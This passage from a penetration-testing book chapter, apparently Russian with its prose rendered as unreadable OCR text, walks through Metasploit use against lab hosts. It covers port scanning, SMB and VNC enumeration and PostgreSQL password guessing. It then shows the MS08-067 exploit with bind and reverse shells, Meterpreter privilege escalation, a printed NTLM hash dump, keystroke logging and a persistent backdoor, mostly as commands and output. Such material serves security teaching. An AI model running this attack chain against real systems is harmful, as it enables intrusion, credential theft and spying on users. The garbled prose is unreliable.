HUSIX YI3BUMOCTEH M METOZIaX OIIEHKN TECTUPOBAHMSI Ha BO3MOKHOE TIPOHUKHOBEHUE.

CueHapuin 1

B xozie aTOr0 yripaskHeHus Mbl IIPOJIEMOHCTPUPYEM, KaK € TOMOIIbIO MHTErPUPOBAHHOTO
B Metasploit cpezictBa Nmap BbITIOJTHUTS CKAHUPOBAHUE TOPTOB, CHITH OTIIEYATKH TTAJTb-
1eB 1 WACHTUGUIUPOBATh crysk6bl. [t aToro BeimosauTe B MSFConsole cieyrorime
KOMaH/IbL:

msf> load db_tracker
[*] Successfully loaded plugin: db_tracker

I'Ipm BO3HMKHOBEHMWN OWMOOK MoakntoyeHnss kK 6ase aaHHbIX VICI'IO)'Ib3y17ITe
cneayouime ase KoMaHabl:

Systemclt start postgresql
Msfdb inint

TpeKep 6asbl JaHHBIX COXPAHUT IMOJIYY€HHbIC /TaHHbIEC N UCIIOJIb3YET UX ITPU I1OCJIE-
AYIOIIUX CeaHCcax. Y1061 3allyCTUTb CKaHNPOBaHNE Nmap, BBeUTE Cie/Ayroniee:

msf>db_nmap -T Aggressive -sV -n -0 -v 192.168.0.7 Starting Nmap 5.00 (http://
nmap.org ) at 2010-11-11 22:34 UTC NSE: Loaded 3 scripts for scanning.
Initiating ARP Ping Scan at 22:34 Scanning 192.168.0.7 [1 port] Completed ARP
Ping Scan at 22:34, 0.00s elapsed (1 total hosts) Initiating SYN Stealth Scan
at 22:34 Scanning 192.168.0.7 [1000 ports] Discovered open port 445/tcp on
192.168.0.7 Discovered open port 135/tcp on 192.168.0.7 Discovered open port
25/tcp on 192.168.0.7 Discovered open port 139/tcp on 192.168.0.7 Discovered
open port 3389/tcp on 192.168.0.7 Discovered open port 80/tcp on 192.168.0.7
Discovered open port 443/tcp on 192.168.0.7 Discovered open port 21/tcp on
192.168.0.7 Discovered open port 1025/tcp on 192.168.0.7 Discovered open port
1433/tcp on 192.168.0.7 Completed SYN Stealth Scan at 22:34, 3.04s elapsed
(1000 total ports) Initiating Service scan at 22:34

Scanning 10 services on 192.168.0.7

Completed Service scan at 22:35, 15.15s elapsed (10 services on 1 host)
Initiating OS detection (try #1) against 192.168.0.7
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PORT STATE SERVICE VERSION

21/tcpopen ftp Microsoft ftpd

25/tcpopen smtp Microsoft ESMTP 6.0.2600.2180
80/tcpopen http Microsoft IIS httpd 5.1
135/tcp openmsrpc Microsoft Windows RPC

139/tcp opennetbios-ssn

443/tcp open https?

445/tcp openmicrosoft-ds  Microsoft Windows XP microsoft-ds
1025/tcpopen msrpc Microsoft Windows RPC

1433/tcpopen ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
3389/tcpopen microsoft-rdp Microsoft Terminal Service

MAC Address: ©00:0B:6B:68:19:91 (WistronNeweb)

Device type: general purpose

Running: Microsoft Windows 2000 |XP|2003

0S details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or Windows
Server 2003 SPO - SP2

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=263 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: Host: custdesk; 0S: Windows

Nmap done: 1 IP address (1 host up) scanned in 2 ©.55 seconds
Raw packets sent: 1026 (45.856KB) | Rcvd: 1024 (42.688KB)

Ha nanubrii MOMEHT MBI YCIIENTHO OTCKAHUPOBAJIN HAIy 11€Jb U COXPAHUJIU Pe-
3yJIBTATBl B TEKYIIEeM ceaHce 6asbl JaHHBIX. UTOOBI BRIBECTH CIIUCOK OOGHAPYKEHHBIX
1esteil 1 cirysk0, BBIIOJTHKTE [TOCIe[0BATENLHO APYT 32 [PYTOM ABe KoMaH/bl db_hosts
u db_services. Kpome ToT0, ecsi BbI paHee ¢ TTOMOTIbIO TPOrpaMMbl Nap CKaHUPOBaJIN
11eJTb ¥ COXPAHUJIN pe3y bTat B (hopmate XML, To, BBeisi Komany db_import_nmap_xml,
MOJKEeTe UMIOPTHPOBATh 3TH pe3yibraThl B Metasploit.

CueHapui 2

B aToMm npumepe Mbl IPOUJIJIIOCTPUPYEM HECKOJILKO BCIIOMOIaTEIbHbIX 2JIEMEHTOB U3
crpykrypbl Metasploit. [siaBHOE — MTOHSATH, HACKOJIBKO OHU BasKHBI B ITPOIIECCE AaHATN3A
HaiifieHHOU yS3BUMOCTH.

Mg nonb3osaTtena SMB

ITOT MOYJIb OYZET ITPOBEPSITH TiesieBbie [P-anpeca, mbITasich HAWTH UMEHA T0JIb30BaTe-
JIell, cBsA3aHHbBIE ¢ O10K0M coobuenutl cepeepa (Server Message Block, SMB). Jlannast ciryx-
6a IPYMEHSIETCsT IPHIOKEHUSIMU JIJIST IOCTYTIA K 0OTINM (hallIOBBIM PecypcaMm, PIHTEPaM
WJIN JIJTS CBSI3W MEXKJY YCTPOHCTBaMU B ceTH. VIcrmonb3yss oinH 13 BCIIOMOTATeTbHBIX
ckanepoB Metasploit, Mbl MOJKeM OTIPEIETUTD BO3MOKHbIE UMEHA MOJIb30BaTEEl.
Bo-11epBhiX, ¢ MOMOIIBIO CJeAyIoel KoMaHabl HaiianTe Metasploit it ckaHepoB:

msf> search SMB
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[Tocte BBITIOTHEH VST KOMAHIBI MBI YBUIUM BCE IOCTYITHBIE CKAHEPHI, [TPEHA3HAUEH-
HBIE JIJIT CKAHUPOBAHUS OTKPBITHIX c1y:k6 SMB (puc. 8.1).

tion [SAM Enuml
umaration

Puc. 8.1. CkaHepbl 451 NpOCMOTPa OTKPbITbIX Cy6 SMB

Yt06bI 3amyCTUTH CKaHep, BBEANTE TAKYIO KOMAH/Y:

msf> use auxiliary/scanner/smb/smb_enumershares

C momoripio mapameTpa RHOSTS BbiOepuTe Auamas3on ceTu. B Harem ciyuae 310 Gy-
net 192.168.0.1/24. [lns aTOr0 BBE/IUTE TAKYIO KOMAHLY:

mst> set RHOSTS 192.168.0.1/24
3aTeM BBEJIUTE CJIE/yTOlee:

msf> run

B pesyJibrarax CKaHUPOBAaHUS MBI YBUINM, YTO CYIIECTBYeT cayskba SMB, pabora-
o1as ¢ moJsib3oBareseM METASPLOITABLE.

Puc. 8.2. Pe3ynbTtaT ckaHMpoBaHusi cnyx6bl SMB

Takoii pe3ysbraT yKka3zbplBaeT Ha CyIl[eCTBOBaHUE 0061 1X OTKPBITBIX PECYPCOB
WJIN IPYTUX CETEBBIX cny>1<6, KOTOpbIE MOTYT ObITb aTaKoBaHbl. 1IM4 110JIb30BaTeA
METASPLOIT Tak:Ke MOKET MOCTY;KUTh HaM OTIIPABHOU TOYKOM, KOT/Ia MbI HAUHEM B3J1a-
MBIBATh yUeTHBIE JIAHHBIE W TTAPOJIN TTOTh30BaTEeH.

CkaHepbl npoBepku noannHHoctn VNC

ITOT MOJYJIb OyJIeT CKAaHUPOBATH JHana3on [P-apecos st CepBEPOB BUPMYAIbHBIX
cemeswvix evruucaenuti (Virtual Network Computing, VNC), KOTOpbBIE IOCTYITHBI O€3 KaKnX-
Jin6O TAHHBIX Ay TeHTU(DUKAIUIL

msf> use auxiliary/scanner/vnc/vnc_none_auth

msf auxiliary(vnc_none_auth) > show options

msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24
RHOSTS => 10.4.124.0/24 msf auxiliary(vnc_none_auth) > run
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10.4.124.22:5900, VNC server protocol version : "RFB 004.000", not supported!
10.4.124.23:5900, VNC server protocol version : "RFB 004.000", not supported!
10.4.124.25:5900, VNC server protocol version : "RFB 004.000", not supported!
Scanned 026 of 256 hosts (010% complete)

10.4.124.26:5900, VNC server protocol version : "RFB 004.000", not supported!
10.4.124.27:5900, VNC server security types supported : None, free access!
10.4.124.28:5900, VNC server security types supported : None, free access!
10.4.124.29:5900, VNC server protocol version : "RFB 004.000", not supported!
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[*] 10.4.124.224:5900, VNC server protocol version : "RFB 004.000", not
supported!

[*] 10.4.124.225:5900, VNC server protocol version : "RFB 004.000", not
supported!

[*] 10.4.124.227:5900, VNC server security types supported : None, free access!
[*] 10.4.124.228:5900, VNC server protocol version : "RFB 004.000", not
supported!

[*] 10.4.124.229:5900, VNC server protocol version : "RFB 004.000", not
supported!

[*] Scanned 231 of 256 hosts (090% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

OG6paTuTe BHUMAaHIE, YTO Mbl HAIILJIK HECKOJIBKO cepBepoB VNC, KOTOPbIE 10CTYIIHbI
6e3 ayTeHTU(DUKAIIH. DTa YSI3BUMOCTD MOKET CTATh CEPhE3HOM YTPO30H JIJISI CUCTEMHBIX
AQJIMUHUCTPATOPOB, U, €CJIU He BKJIIOYEHbI 9JIEMEHTHI YIIPABJIEHNs aBTOpU3aInell, HesKe-
JlaTesbHbIe mocetutesn u3 ViHreprera 6e3 0coObIX YCUIIMIA TIOJIyYaT JOCTYI K BallieMy
cepsepy VNC.

PostgreSQL

B mpeapiaynux riaaBax, Korjaa ¢ moMoIbio Nmap Mbl CKAHUPOBAJIU ONEPAITMOHHYTO
cucremy Metasploitable, 6buma onpeneniena cay:xba 6assl ganubix PostgreSQL, pabo-
tafoinast Ha mopre 5432 (puc. 8.3).

/tcp open postgresql PostgreSQL DB 8.3.8 - 8.3.7
cp open v¥nc VNC (protocol 3.3)
vnec-info:

Protocol wersion: 3.3
Security types:
Unknown security type (33554432)

Puc. 8.3. Ha nopty 5432 onpepneneHa cnyxba 6a3bl AaHHbIX PostgreSQL

MBI MOJKEM HCTIOJIb30BaTh BCIIOMOTATeTbHbIN cKarep Metasploit st onpeesienus
peructparrorHoi nadopmain o 6asze ranubx. CHavama Hy;KHO HacTpouTh Metasploit
1uist paboThl ckarepa. J1Jist 3TOTO BBEIEM CJIEYIOILYI0 KOMAH/Y:

msf> use auxiliary/scanner/postgres/postgres_login
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3areM Mbl MOKEM BOCIOJIb30BAThCS [IByMS BapuaHTaMu. B 1iepBoM BapuaHTe Mbl
HACTPOUM CKaHep Tak, YTOObI OH TPOJIOJIKAN CKAHMPOBAHMUE, [IAKe €CJIM HAXOAUT YCIIel-
HBII BXOZT B cHcTeMy. Takas HacTpoIiKa MO3BOJISET CKAHIPOBATh HECKOJIBKO 9K3EMILJIS-
poB 6a3 MaHHbBIX, a TAKKE TEPEUNCIIATh MHOKECTBO MIMEH MOTb30BaTENeH U TTapoJiei.
Yto6bI BHITIOTHUTH ITY HACTPOIKY, BBEIUTE CJAEAYIONTYIO KOMAH/TY:

msf> set STOP_ON_SUCCESS true

Jlasiee HaMm HY’KHO BBIOPATH I1eJIEBbIE MAIIUHBI, KOTOPBIE TPeOYETCs TIPOCKAHUPOBATD.
Cranep npumet auarazorn CIDR wan onun [P-agapec. ITockosibKy paHee MbI € TOMO-
mpio Nmap onpezenin, uto B Hamteil skcnepuMenTanbnoit OC Metasploitable ectn
AKTUBHBIN 9K3EMILISIP, B IpUMepe Mbl ykaxkeM ckanepy [P-amgpec 192.168.0.30 aroit
OTIEPAIIMOHHON cUCTEMBL. J[JIs1 3TOr0 HaM MOTPEOYETCsT BBECTH CJIEAYIONYI0 KOMAH/IY:

msf> set RHOSTS 192.168.0.30

3areM MbI 3aITyCcKaeM aKCIIONT. [Ipu m3ydeHnn BhIXOHBIX JAHHBIX MBI YBUIUM UM
0JIb30BATEJI U IAPOJIb AJI 9TOH 6asbl gaHHbIX (puc. 8.4).

ms{ auxiliary(postgres_login) = run

[!] No active DE -- Credential data will not be saved!

[-] 192.168.0.30:5432 POSTGRES - | OGIN FATILED: postgres:@templatrel (Tncorrect: Tnvalid usern
ime or password)

[-] 192.168.0.30:5432 POSIGRES - LUGIN FAILED: postgres:tiger@templatel (lncorrect: lnvalid
sarname or password)

[+] 192.168.0.230:5432 - LOGIN SUCCESSFUL: postgres:postgres@templatel

[*] Scanned 1 of 1 hosts (108% complete)

[*] Auxiliary module execution completed

Puc. 8.4. MNaponb 1 uMs Nonb30BaTens B NMOMYYEHHbIX AaHHbIX

[TockobpKy 6asbl JaHHBIX YACTO COAEPKAT KOH(PUIEHIINAIBHYIO UH(MOPMAIIHIO, UX
6€e30IacHOCTh JOJIKHA CTaTh IIPUOPUTETHOI 3a4aueil I opraHu3ainii-Biaaeablies.
Taxue ckarepsl, Kak PostgreSQL, mo3BosistioT a(h(HeKTHBHO TeCTUPOBATH GE30MACHOCTh
IIPOrpaMMHOI0 obecedenus 1 caMux 6a3 JaHHbIX.

CueHapun 3

Ternepb MBI PACCMOTPUM MIPUMEPBI HEKOTOPBIX OOIIKMX MOoJIe3HbIX Harpy3ok (Bind,
Reverse u Meterpreter) u 06cy M, Kakie BO3MOKHOCTU OHU HAM MOTYT IIPEJOCTaBUTh
[IPU dKCILIyaTallMu. JTOT IIPUMEP JIacT BaM IIPe/ICTaBJIeHNe, KaK U KOI/la Bbl MOXKeTe
HCI0JIb30BATh KOHKPETHYIO 110JIE3HYI0 Harpy3Ky.

O6onouka Bind

Obosouka Bind — aTo ynasnentoe coefiutenue, KOTOPOE, €CIIM HACTPOUTH TIPOCITYIINBa-
HIE HYKHBIX TIOPTOB, [TPU YCIIENTHON 9KCIUTyaTallni 06eCieunBaeT A0CTYI K 1eJIeBOU Ch-
creme. O60I0UKA OTKPBIBAET LT3 JIJIST 3JI0YMBIMLIEHHUKA, JKEJIAIOIIETO TTOIKTIOUUTHCST
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K CKOMITPOMETHPOBAHHO# Maruse. J[ocTyI yepes mopT NPUBSI3KI 06ECTICYNBAETCS C MO~
MoIipto nHeTpymenTa Netcat, kotopsriii uepe3 TCP-coentenne MOKET TYHHETIUPOBATh
cTangapTHbLi BB (stdin) u BeiBoz (stdout).

PaGora aToro ciienapust moxoska na pabory knuenta Telnet, ycranasiusaioniero co-
enunenue ¢ cepsepoM Telnet. Takoii ciieHapuii IPUMEHSIETCST, KOT/IA 3JI0YMBIIILIEHHITK
LPUKpPbIBaeTCS mpancisuuei cemesvix aopecos (Network Address Translation, NAT)
ni GpaHAMAyIPOM U IPSIMON KOHTAKT OT CKOMITPOMETHPOBAHHOTO X0ocTa K IP-aapecy
3JIOYMBIIIJIEHHUKA HEBO3MOJKEH.,

Huke mprBeieHbI KOMaH IbI JIJIsT HAYa/Ia SKCILIyaTalii 1 HacTpoiiku o6ostouku bind:

msf> use exploit/windows/smb/ms@8_067_ netapi

msf exploit(ms@8_067 netapi) > show options

msf exploit(ms@8_067 netapi) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(ms@8_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp

msf exploit(ms@8_067 netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.0.7

[*] Command shell session 1 opened (192.168.0.3:41289 -> 192.168.0.7:4444) at
Sat Nov 13 19:01:23 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32>

Takum 06pa3oM, Mbl IpoaHanu3upoBann, 4o Metasploit ¢ TOMOIIbIO UHTErPUPO-
BaHHOT'O MHOI'OIIOTOYHOTO 00PabOTYMKa HAIPY3KU TaKKe aBTOMATU3MPYET IIPOIece
noakoyeHnst. THeTpyMeHThl Hanogo6ue Netcat MOTYT IPUTOAUTBCS B CUTYAIUAX,
KOIJIa BbI C IOMOUIBIO KOZIa 000JI0YKHU IPUBAZKU MUILETE CBOI COOCTBEHHBIN 9KCILIONT,
KOTOPOMY /ISl YCTAHOBJIEHHS COEAUHEHNUSI CO CKOMIIPOMETHPOBAHHBIM XOCTOM Tpedy-
eTCcsl CTOPOHHUI 00paboTUHK.

Hexotopsie mpakTrdeckue mpuMepbl UCTIOMh30BaHMsI Netcat 71 pa3inIHbIX OTiepaITiit
cereBoii 6e301acHOCTH Bbl MOKETE HaliTH 110 ajzpecy http://en.wikipedia.org/wiki/Netcat.

O6paTtHble 060n04kM

Ob6paTHas 060J104Ka SBJILETCS TOJHON IPOTUBOIOJI0KHOCTBIO 06010uky bind. BmecTto
MIPUBSI3KY TIOPTA K IIEJIEBON CUCTEME U OKUAAHUS COETUHEHUSI C MAIIIMHOM 3JI0YMBIIII-
JIEHHUKA MTPOUCXOANT TToAKIoueHue K [P-apecy u mopTy KoMIbIoTEpa 37I0YMBITILIEH-
HUKa, 1ocJIe 4ero cosaaercst obosiouka. [aBHas 3agada o6parHoil 060J0YKH — pac-
cmotpets 1enb 3a NAT win 6panamayspom. NAT uiu GpaHaMaysp MPeAoTBPALaoT
OTKPBITBIN JIOCTYT K HAXOASIIUMCSI 32 HUMU CUCTEMHBIM PECYPCAM.
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Huske npuBesenbl KOMaHADL I8l HACTPOWKK M Hayaja SKCILIyaTaluu oOpaTHOM
060JI0YKH:

msf> use exploit/windows/smb/ms@8_067_netapi

msf exploit(ms@8_067 netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7

msf exploit(ms@8_067 netapi) > set

PAYLOAD windows/shell/reverse_tcp

PAYLOAD => windows/shell/reverse_tcp

msf exploit(ms@8_067_netapi) > show options

msf exploit(ms@8_067_netapi) > set LHOST 192.168.0.3
LHOST => 192.168.0.3

exploit(ms08_067 netapi) > exploit

Started reverse handler on 192.168.0.3:4444
Automatically detecting the target...
Fingerprint: Windows XP Service Pack 2 - lang:English
Selected Target: Windows XP SP2 English (NX)
Attempting to trigger the vulnerability...
Sending stage (240 bytes) to 192.168.0.7

Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027) at
Nov 13 22:59:02 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWSsystem32>

E}
%]
-+

N ——
* X ¥ X ¥ ¥ ¥
P T T R

Q

Ucnonbayst IP-aapec atakyolieil MaliHbL, Mbl MOJKEM YETKO OTJIMYUTH OOPATHYO
060J109Ky 0T 060I0UKN TIPUBSI3KH. ECJH B 000109Ke TIPUBSA3KY He TPeOYeTCs YKA3hIBATH
[P-anpec aTakyrolieil MalinHbl, B KOH(GUTYpaIn oOpaTHoi 0001049k HysKeH IP-aapec
MaIlTUHBI 37I0YMBITIIJIEHHNKA (HarpuMep, LHOST 192.168.0.3).

B uem paznuiia Mesk/ry BCTPOEHHON M MTO3TAITHOM (CTYyeHYaTO ) TOJIe3HOI Harpy3-
KoIi? BeTpoeHHas mosiesHast Harpyska — 9TO aBTOHOMHBIH K0 000JI0YKH, KOTOPBII
JIOJIKEH BBITIOTHATBCS C OTHIM 9K3eMILISIPOM 9KCILToiTa. CTyneHvyaTas Uiy o9 TarHast
0JIe3HasT Harpy3Ka IIPU BBITIOJTHEHUM KOHKPETHOM 3a/[auu JIJisi CYUTBIBAHUS OCTAJb-
HOU 9aCTH TPOMEKYTOUHOTO KO OOOJOUKH CO3/1aeT OOPATHDBIN KAaHAJ CBSI3U MEKILY
MAIIIHOM 3JI0YMBIIIEHHUKA U MAITHOM KepTBbl. OOBIUHO BBIOUPAIOT CTYIIEHIATYIO
MIOJIE3HYIO HArPY3KYy.

Meterpreter

Meterpreter — aT0 HOBelillIast CKPbITasi MHOTOTPAHHAS U TUHAMUYECKN paciiupsiemMast
MoJie3Hast HarpysKa, KoTopast paboTaet, BBO/ist oTpaskeHHbI DLL B 1e/IeBYI0 MaMsITh.
[l pactimpennst gesTeTbHOCTH TIOC/Ie AKCTLTyaTaliy CTIieHapUH 1 TIITaTUHBI MOTYT JIN-
HaMUYECKH 3arPysKaThCsl BO BPEMSI BBITIOJHEHNS. B 9TOM ciiydae MbI CMOKeM HaCTPanBaTh
IIPpUBUJIETNU, C6paCHBaTb CUCTEMHDBIEC YUETHBIC 3allNCH, NCIIOJIB30BaTh ITOCTOAHHYIO
cay»k0y uepHoro xoza (backdoor) u BritoueHue ynaserHoro Pabouero crona. Kpome Toro,
BCs CBsI3b 000s10uKu Meterpreter mndpyercst 1o yMOTYaHUIO.
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Huske mprBeieHbl KOMaH/IbI 11 HACTPOHKY M HavYasIa SKCILTyaTalliy TT0JIe3HOH Ha-
rpysku Meterpreter:

msf> use exploit/windows/smb/ms@8_067_netapi

msf exploit(ms@8_067 netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7

msf exploit(ms@8_067 netapi) > show payloads

msf exploit(ms@8_067 netapi) > set PAYLOAD
windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms@8_067 netapi) > show options

msf exploit(ms@8_067 netapi) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf exploit(ms@8_067 netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444

*] Automatically detecting the target...

*] Fingerprint: Windows XP Service Pack 2 - lang:English
*] Selected Target: Windows XP SP2 English (NX)

*] Attempting to trigger the vulnerability...

*] Sending stage (749056 bytes) to 192.168.0.7

*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1029)
t Sun Nov 14 02:44:26 +0000 2010

meterpreter> help

[
[
[
[
[
[
a

Kak BbI MOKeTe BHIETh, 0600uKka Meterpreter Obliia YCIENIHO TToyueHa. Bees
KoMaHy help, Mbl CMOXKEM YBUJIETH JIOCTYITHbIE HAM pa3judHble TUIb KoMani. C 1o-
MoIIbIo crieHapus Meterpreter 110/1 HazBaHueM getsystem ITPOBEPUM HANIM TEKYIIHe
MIPUBUJIETUN W TTOBBICUM HX /IO CHCTEMHOTO YPOBHS:

meterpreter>getuid

Server username: CUSTDESKsalesdept
meterpreter> use priv
meterpreter>getsystem -h

[Tocsie BBOIA KOMaH/IbI meterpreter>getsystem -h Bbl yBUANTE HECKOJIBKO METO/IOB,
C TIOMOIIIBIO KOTOPBIX MOKHO MOBBICUTH CBOM MPUBUJIernn. Eciiu Bbl BBeZleTe TIpea-
raemyio 1o yMOJIYaHHIO KOMaHLy getsystem Ge3 Kakux-aubo mapameTpoB, Meterpreter
B aTake IPOTHB IeJIEBOI MAIIHBI GYET II00YePeIHO HCIOJIb30BaTh Kaskiblil Meto. Korga
ouepeIHast aTaKa 3aBEPIMUTCS yeIexoM, pabota Meterpreter Gy/ieT ocTaHOBJIEHA:

meterpreter>getsystem

...got system (via technique 1).
meterpreter>getuid

Server username: NT AUTHORITYSYSTEM
meterpreter>sysinfo

Computer: CUSTDESK

0s : Windows XP (Build 2600, Service Pack 2).
Arch : X86

Language: en_US
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Ecm BbI pernute BBECTH KOMAH/Y -J -2, 9KCIIONT Gy/IeT BBIOTHATHCSA B (POHOBOM
pesxkume. B atom ciryuae nnrepakTrHas obosnouka Meterpreter He Oyzer oToOpaskaThest
Ha 9kpane. OIHAKO, ecIM ceccust OblIa YCMENTHO YCTAHOBIEHA, BBl MOYKETE B3anMO/Iei-
CTBOBaTH € HEH, NCTONBb3Ys uaeHTHGUKAaTOp -i. UT06BI y3HATH TOUHOE 3HAaYeHue 1D,
MTOJTYYUTE CITUCOK AKTUBHBIX CECCHIA, BB - 1.

[Tposepum cuiry obosouku Meterpreter u cOPOCUM TEKYIIUE CUCTEMHBIE YUETHbBIE
3aIMCH U TIApOJIn, COXPaHEHHbIe Ha T1esieBOl ManmmHe. CUCTEeMHBIE 3aITUCH U TapOJIn
OyayT oToGpakarbes B xer-popmare NTLM, 1 ¢ HOMOIIBIO HECKOJIBKIX HHCTPYMEH-
TOB ¥ METOJIOB X MOKHO B3JIOMAaTh U cOPOCUTD. [[Jist TOTO UCIIOIB3YTE CIIeyoIIne
KOMaH]IbI:

meterpreter> run hashdump

[*] Obtaining the boot key...

Calculating the hboot key using SYSKEY 71e52ce6b86e5da@c213566a12361892...
Obtaining the user list and keys...

Decrypting user keys...

Dumping password hashes...

[*]
[*]
[*]
[*]
h

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@dl6ae931b73c59d7e0cO
89c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d1l6ae931b73c59d7e0c089¢O: : :
HelpAssistant:1000:d2cd5d550e14593b12787245127c866d:d3e35f657c924d0b31eb811d2d9
86df9:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee: c8edf0dOdb48cbf7b2835ecO1
3cfb9c5: ::

Momin

Desktop:1003:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204b
eb12283678:::
TUSR_MOMINDESK:1004:a751dcb6ea9323026eb817854da74a24:b0196523134dd9a21bf6b8
0e02744513: ::
ASPNET:1005:ad785822109dd077027175+3382059+d:21ff86d627bcf380a5blb6abe5d8eldd: : :
IWAM_MOMINDESK:1009:12a75aldocf47cd0c8e2f82a92190b42:c74966d83d519badle5196e00f
94e113:::
h4x:1010:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678: : :
salesdept:1011:8f51551614ded19365b226f9bfc33fab:7ad83174aadb77faac126fdd37
7b1693:::

Terepb pacCMOTPUM 3TY JIESATENBHOCTD € TIOMOIIBIO (DYHKIIUHU, KOTOPas OyeT 3ariu-
CHIBATh HAKATHS KIABUIT 000m0uky Meterpreter. JI7s BBISIBIEHISI HEKOTOPBIX TTOJTE3HBIX
JITAHHBIX C 1[€JIEBOI0 KOMITBIOTEPA MCIIOIb3YeM CJEAYIONINe KOMaH/Ibl:

meterpreter>getuid

Server username: NT AUTHORITYSYSTEM
meterpreter>ps

Process list

PID Name Arch Session User Path

0 [System Process]
4 System x86 © NT AUTHORITYSYSTEM
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384 smss.exe x86 © NT AUTHORITYSYSTEM
SystemRootSystem32smss.exe

488 csrss.exe x86 © NT AUTHORITYSYSTEM
??C:WINDOWSsystem32csrss.exe

648 winlogon.exe x86 © NT AUTHORITYSYSTEM
??C:WINDOWSsystem32winlogon.exe

692 services.exe x86 © NT AUTHORITYSYSTEM
C:WINDOWSsystem32services.exe

704 lsass.exe x86 0 NT AUTHORITYSYSTEM

C:WINDOWSsystem32lsass.exe

148 alg.exe x86 @ NT AUTHORITYLOCAL SERVICE

C:WINDOWSSystem32alg.exe

3172 explorer.exe x86 © CUSTDESKsalesdept
C:WINDOWSExplorer.EXE

3236 reader_sl.exe x86 © CUSTDESKsalesdept

C:Program FilesAdobeReader 9.0ReaderReader_sl.exe

Ha manHOM aTamne MbI 7151 HauasIa peruCTPaIiy TeKYTei aKTUBHOCTH TIOTb30BaTeJIsT
B cucTeMe IepeHeceM 060J104Ky Meterpreter B poriecc explorer.exe (3172). [us aToro
BBITIOJIHUM CJICTYTOTIIE KOMAHJIBI:

meterpreter> migrate 3172

[*] Migrating to 3172...

[*] Migration completed successfully.
meterpreter>getuid

Server username: CUSTDESKsalesdept
meterpreter>keyscan_start

Starting the keystroke sniffer...

Wrak, keitorrep samyined (Keijorrep — mnporpaMmMHoe obecliederne, perucTpu-
pyloliiee pasjuyHble AeiicTBUS 10JAb30BaTe I Ha)KaTUA KIaBUL, IBUKEHUS MBIIILIO
U TEJTYKN ee KHOTKaMu 1 T. 11.). Ham motpebyercst momoskaaTh HEKOTOPOE BPEMsT, TIOKa
MBI HAUHEM I10J1y4aTh (hparMeHTbl 3alIMCAHHBIX JTAHHBIX:

meterpreter>keyscan_dump

Dumping captured keystrokes...

<Return> www.yahoo.com <Return><Back> www.bbc.co.uk <Return>
meterpreter>keyscan_stop

Stopping the keystroke sniffer...

Kax BbI MOZKETE BUIETH, MBI COPOCUIIN AKTUBHOCTD BeO-cephUHTa 11eIeBON MAIIUHBI.
Takum ke criocoOOM ¢ OMOIIBI0 MUTPALUK IIpoliecca winlogon.exe (648) Mbl MoKeM
3aXBaTUTh YUETHBIE JAHHBIE BCEX MTOJIb30BATEICH, BXOSIIUX B CUCTEMY.

JlotycTiM, BbI TIOJIYUUJIA TOCTYI K TIEJIEBOI CHCTEME U BOCIIOJIb30BAJIUCH UM, HO
Terepb XOTUTE CAEIATh TaK, YTOObI OH ObLI MOCTOSTHHBIM, JIAJKE €CJIHM IKCILTyaTHpyeMast
caryskba MM TIPUIIOJKEHIE 103Ke OyIYT U3MEHEHBI. 3a 9TO OTBeYaeT GIKI0P-CEPBUC.
O6paruTe BHUMaHUE, 4TO 09KI0P-CEPBIC, TIPEAOCTaBIsieMblil 00010uK0i Meterpreter,
nepej J0CTYIIOM K OIPeIeJeHHOMY CeTEBOMY TIOPTY IeJIeBOI crucTeMbl He TpebyeT
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MTPOBEPKU TOIFIMHHOCTU. DTO PUCKOBAHHAS OTIEPAIHS, TaK KaK MOJIYIUTh JIOCTYTI K T1e-
JIEBOU MallliHe MOTIYT 1 He3BaHble ToCTH. B paMKax coOJoeHust IpaBuJl IIPOBEICHUST
HUCTIBITAHUN HA MPOHUKHOBEHUE TaKas JAeATeIbHOCTH, KaK IIPABUJIO, HE JIOITYCKAeTCs.
[To5TOMY MBI HACTOSITENILHO PEKOMEHIYEM BaM A€PKaTh O9KIOP-CEPBUC IOQAJbIIE OT
oUIMaNIbHON CPe/lbl UCIBITAHUI Ha IIPOHUKHOBEHME. BbI Takske JOJKHbBL yOeuThCs,
4TO Takas orepaius Oblia SBHO paspelneHa (B IUCbMEeHHON (popMe) Ha Tarax ompee-
JleHrs 00J1acTU AeACTBUS 1 IPABUJI B3AUMOAEHCTBHS:

msf exploit(ms@8_067 netapi) > exploit

] Started reverse handler on 192.168.0.3:4444

] Automatically detecting the target...

] Fingerprint: Windows XP Service Pack 2 - lang:English

] Selected Target: Windows XP SP2 English (NX)

] Attempting to trigger the vulnerability...

] Sending stage (749056 bytes) to 192.168.0.7

] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1032)

t Tue Nov 16 19:21:39 +0000 2010

meterpreter>ps

292 alg.exe Xx86 0 NT AUTHORITYLOCAL SERVICE
C:WINDOWSSystem32alg.exe

1840 csrss.exe X86 2 NT AUTHORITYSYSTEM
